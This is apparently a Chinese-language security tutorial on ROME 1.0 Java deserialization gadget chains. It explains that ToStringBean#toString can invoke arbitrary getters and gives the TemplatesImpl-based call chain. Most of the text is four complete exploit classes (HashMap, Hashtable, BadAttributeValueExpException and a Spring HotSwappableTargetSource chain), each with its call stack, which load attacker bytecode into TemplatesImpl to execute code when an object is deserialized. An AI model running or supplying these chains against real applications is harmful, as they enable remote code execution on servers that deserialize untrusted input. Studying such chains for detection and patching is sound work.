环境搭建
jdk8u181
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>
利用链分析
ROME反序列链的本质,是组件里的ToStringBean#toString可以任意getter调用。
例如调getOutputProperties就是代码执行,于是问题转换成如何调ClassName#toString。
由此,分出许多不同利用链,本质是不同调toString的链子。
下面给出核心调用链,不同的部分在Exp的函数调用栈写明。
ClassLoader#defineClass->
TemplatesImpl#defineClass->
TemplatesImpl#defineTransletClasses->
TemplatesImpl#getTransletInstance->
TemplatesImpl#newTransformer->
TemplatesImpl#getOutputProperties->
ToStringBean#toString->
GadgetsChains#triggerToStringFunction.....
Exp
HashMap
getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
toString:137, ToStringBean
toString:116, ToStringBean
beanHashCode:193, EqualsBean
hashCode:176, EqualsBean
hash:339, HashMap
put:612, HashMap
main:26, ROMEHashMap
import Utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class ROMEHashMap {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
// ReflectUtils.setFieldValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");
SerialUtils.serialize(hashMap);
SerialUtils.unserialize();
}
}
HashTable
getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
toString:137, ToStringBean
toString:116, ToStringBean
beanHashCode:193, EqualsBean
hashCode:110, ObjectBean
put:465, Hashtable
main:28, ROMEHashTable
import Utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Hashtable;
public class ROMEHashTable {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
// ReflectUtils.setFieldValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean,"123");
SerialUtils.serialize(hashtable);
SerialUtils.unserialize();
}
}
BadAttributeValueExpException
getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
toString:137, ToStringBean
toString:116, ToStringBean
readObject:86, BadAttributeValueExpException
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
invokeReadObject:1170, ObjectStreamClass
readSerialData:2178, ObjectInputStream
readOrdinaryObject:2069, ObjectInputStream
readObject0:1573, ObjectInputStream
readObject:431, ObjectInputStream
unserialize:31, SerialUtils
main:27, ROMEBadAttributeValueExpException
import Utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
public class ROMEBadAttributeValueExpException {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
// ReflectUtils.setFieldValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
ReflectUtils.setFieldValue(badAttributeValueExpException,"val",toStringBean);
SerialUtils.serialize(badAttributeValueExpException);
SerialUtils.unserialize();
}
}
HotSwappableTargetSource
SpringBoot原生toString链,需要加载SpringBoot依赖。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.17</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>org.example</groupId>
<artifactId>ROME</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
</project>
getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:498, Method
toString:137, ToStringBean
toString:116, ToStringBean
equals:392, XString
equals:103, HotSwappableTargetSource
putVal:635, HashMap
put:612, HashMap
main:29, ROMEHotSwappableTargetSource
import Utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class ROMEHotSwappableTargetSource {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
ReflectUtils.setFieldValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templatesimpl);
// toStringBean.toString();
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
// SerialUtils.serialize(hashMap);
SerialUtils.unserialize();
}
}
小结
本质是,如果带了ROME这个组件,可以通过调toString,达到调任意getter的目的。